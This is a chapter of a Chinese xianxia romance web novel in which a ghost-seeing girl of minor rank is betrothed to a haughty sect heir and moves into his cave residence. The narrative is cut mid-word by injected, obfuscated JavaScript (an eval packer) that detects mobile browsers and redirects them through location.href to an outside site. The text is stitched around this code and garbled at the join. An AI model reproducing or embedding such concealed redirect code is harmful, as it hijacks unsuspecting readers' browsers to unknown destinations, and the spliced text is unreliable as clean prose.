江知渔梦见自己被恶鬼啃死,惊醒时冷汗浸透中衣,她喘着气坐起身,还没来得及擦汗,房门就被人撞开。
“小姐!不好了!”丫环芝灵跌跌撞撞冲进来,“星辰宗的人到了前厅,说是、说是来提亲的!”
江知渔手中的帕子被吓掉,提亲?星辰宗?那个修真界第一大宗门?
“等等,”江知渔蓦然反应过来,“提亲?给谁提亲?”
芝灵的表情变得十分微妙:“给……给小姐你。”
闻言江知渔眼前一黑。
……
少女坐在梳妆台前,看着铜镜里那张还算清秀的脸,实在是想不通。
她,江家旁支庶女,资质平平,修为卡在筑基初期三年纹丝不动,唯一拿得出手的本事是能看见别人看不见的东西,俗称阴阳眼。
星辰宗少宗主顾星渡,那可是修真界百年不遇的奇才,据说长得比合欢宗的男修还好看,修为高深莫测,性格呃,性格据说比较特别。
特别到十八岁了还没道侣,不是没人想嫁,是没人敢嫁。
“听说顾少宗主前年把上门提亲的玉兰仙子打出去了,”芝灵边给她梳头边小声说,“去年又把白月圣女气得当场发誓终身不嫁。”
江知渔嘴角抽了抽:“那他来我家提什么亲?”
“老爷说,是因为三日前你在大街上……”芝灵的声音更小了,“当众扒了顾少宗主的裤子。”
江知渔脑子一闪,卧槽!她想起来了。
三日前鬼市大开,她追着一只偷了她月例钱的吊死鬼满街跑,那鬼狡猾得很,专往人堆里钻。
她情急之下掏出一张定身符,想也不想就拍了出去,结果拍错了人。
拍在了一个背影挺拔,穿着白衣的少年身上。
那少年回过头,一张脸好看得让她呼吸停了停。
后面她发现,定身符没定住他,反而激起了他衣袍上的防护法阵,一阵刺眼白光后,他的外裤化作了齑粉。
风吹过,少年的两条长腿白得晃眼。
江知渔当时脑子里只有一个念头,完了,这月例钱要不回来了。
后来她才知道,那少年就是顾星渡。
而现在,顾星渡的师父,星辰宗大长老,正坐在她家前厅,笑眯眯的对她爹说:“两个孩子有缘,不如结为道侣?”
有缘个鬼,那是孽缘!
江知渔被押到前厅时,脑子里还在飞速运转怎么推掉这门亲事。
她爹江临风坐在主位,笑得夸张,旁边坐着一位白发白须的老者,仙风道骨,正是星辰宗大长老玄真子。
而站在玄真子身后的少年,江知渔依旧看的呼吸一滞。
顾星渡今天穿了身绣金长衫,腰间系着玉带,墨发用发带高高束起。
他的皮肤很白,鼻梁高挺,唇色偏淡,最绝的是那双眼睛,眼尾微微上挑,看人时自带三分漫不经心。
好看是真好看,欠揍也是真欠揍。
因为此刻,他正用一种看蝼蚁的眼神,居高临下的打量着她。
“知渔啊,”江临风搓着手,“这位是星辰宗的顾少宗主,你们见过的哈?”
何止见过,还见过他的大腿。
江知渔硬着头皮行礼:“见过少宗主。”
顾星渡从鼻子里哼了一声。
玄真子笑呵呵的打圆场:“星渡,打招呼。”
“师父,”顾星渡开口,声音清冷,“你确定要让我娶她?她连金丹都不是。”
闻言江知渔拳头硬了。
“修为可以慢慢提升嘛,”玄真子捋着胡子,“我看这丫头根骨不错,尤其是那双眼睛。”
“阴阳眼而已,”顾星渡打断,“修真界又不是没有。”
“但能看见那种东西的阴阳眼,可就少了。”玄真子意味深长的看了江知渔一眼。
江知渔心下一惊。
她知道玄真子指的是什么,她能看见的不仅是普通鬼魂,还有魔煞,一种由极深怨气凝结而成,连高阶修士都难以察觉的秽物。
这也是她修为停滞不前的原因,大部分灵力都用来压制这些玩意了。
“我不同意。”顾星渡说得干脆利落,“我要找道侣,至少也得是元婴期,长得要好看,性格要温婉,最重要的是。”
他瞥了江知渔一眼:“不能比我矮太多。”
江知渔:“……”她好歹也有一米六五,在女修里不算矮了!但这厮至少一米八五,看谁都矮好吗!
“这事由不得你,”玄真子依旧笑眯眯的,但语气不容置疑,“你师祖给你算过命,十八岁前必须定下道侣,否则有大劫,今日是最后期限。”
顾星渡脸色沉了下来。
江知渔趁机开口:“大长老,晚辈资质愚钝,实在配不上少宗主,不如……”
“配得上配得上,”江临风急忙打断,“知渔虽然修为不高,但做饭好吃,还会缝衣服!”
江知渔一口老血哽在喉咙,爹,你这是嫁女儿还是招保姆?
玄真子点点头:“甚好,星渡从小挑食,正好需要个会做饭的道侣,那就这么定了,两日后来接人。”
“等等!”顾星渡和江知渔同时开口。
玄真子起身,拍了拍少年的肩:“你师祖的话,你敢不听?”
顾星渡噎住了。
江知渔还想挣扎,玄真子已经走到她面前,塞给她一块玉佩:“这是聘礼之一,戴上它,能帮你压制魔煞。”
玉佩入手温润,江知渔确实感觉到一直缠绕在周身的阴冷气息淡了些。
她犹豫了。
“至于你父亲,”玄真子看向江临风,“星辰宗会提供足够资源,助你结婴。”
江临风眼睛都直了。
这下江知渔彻底明白了,这是一场交易,她用自由换父亲突破的机会,和自己不再被魔煞折磨的可能。
她握紧玉佩,抬眼看向顾星渡。
少年正瞪着她,那双漂亮的眼睛里写满了威胁。
江知渔垂下眼眸,她朝玄真子行了一礼:“晚辈愿意。”
顾星渡:“……你再说一遍?”
两日后,星辰宗的飞舟停在江家上空。
江知渔穿着赶制出来的半成品嫁衣,被芝灵扶着上了飞舟。
顾星渡站在甲板上,看都没看她一眼。
飞舟起飞,江家越来越小,江知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241391|197751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渔心里说不上是什么滋味。
她摸着怀里的玉佩,看了眼顾星渡的背影,倏然开口:“少宗主。”
顾星渡不理她。
“我们打个商量吧。”
少女走到他身边:“我知道你不想娶我,我也不想嫁你,但师命难违,我们不如做表面道侣,你修你的仙,我捉我的鬼,互不干涉,等风头过了,再找个理由和离,如何?”
顾星渡终于转过头,用看傻子的眼神看她:“你以为我师父是吃素的?”
“那怎么办?”江知渔摊手,“真要做道侣?双修的那种?”
顾星渡耳朵肉眼可见的红了:“你、你一个姑娘家,怎么如此不知羞耻!”
江知渔乐了:“双修不是正经修炼方式吗?合欢宗还拿它当主打功法呢。”
“闭嘴!”顾星渡气得转身就走,“我警告你,离我远点!不许进我洞府!不许跟别人说我们有关系!否则……”
“否则怎样?”江知渔挑眉。
少年憋了半天,憋出一句:“否则我就告诉师父你非礼我!”
江知渔听完,朝他扮了个鬼脸,不再说话。
星辰位于九天山脉之巅,云雾缭绕,仙鹤成群。
飞舟降落时,江知渔被眼前的景象震撼了,白玉铺就的广场,高耸入云的长殿,空气中弥漫着浓郁的灵气,吸一口都觉得神清气爽。
如果没有那些飘来飘去的魔煞的话就更好了,星辰宗虽然也有怨煞,但比外面少了很多。
江知渔跟着顾星渡下了飞舟,立刻引来无数目光。
“那就是少宗主的道侣?长得还行,就是修为低了点。”
“听说是个旁支庶女,家里没什么背景。”
“少宗主能愿意?他不是最讨厌弱者吗?”
窃窃私语声传入耳中,江知渔面不改色,倒是顾星渡,突兀停下脚步,冷眼扫过人群:“都很闲?”
四周瞬间安静。
他继续往前走,江知渔跟上去,小声说:“谢谢啊。”
“谁帮你了?”顾星渡哼道,“我只是嫌他们吵。”
江知渔撇嘴,行,傲娇嘛,她懂的。
玄真子给两人安排的洞府在山腰一处清幽之地,两间静室,一个客厅,外加炼丹房和练功房。
“你们先住这儿,”玄真子说,“等感情好了,再换大点的。”
顾星渡:“不会有那一天。”
江知渔:“同意。”
玄真子笑得意味深长:“话别说太满。”
等玄真子走了,顾星渡立刻划清界限:“左边那间是我的,右边归你,没事别过来,有事更别过来。”
江知渔点头:“好的少宗主,没问题少宗主。”
顾星渡被她的顺从噎了一下,似乎没想到她这么配合。
他呆愣了一会,最后什么也没说,转身进了左边静室,反手关上门。
江知渔耸耸肩,进了右边静室。
房间很干净,该有的东西都有,她把自己的物品拿出来摆好,然后从储物袋里掏出一面小镜子。
镜子里映出她的脸,以及她身后一个穿着星辰宗弟子服,七窍流血的男鬼。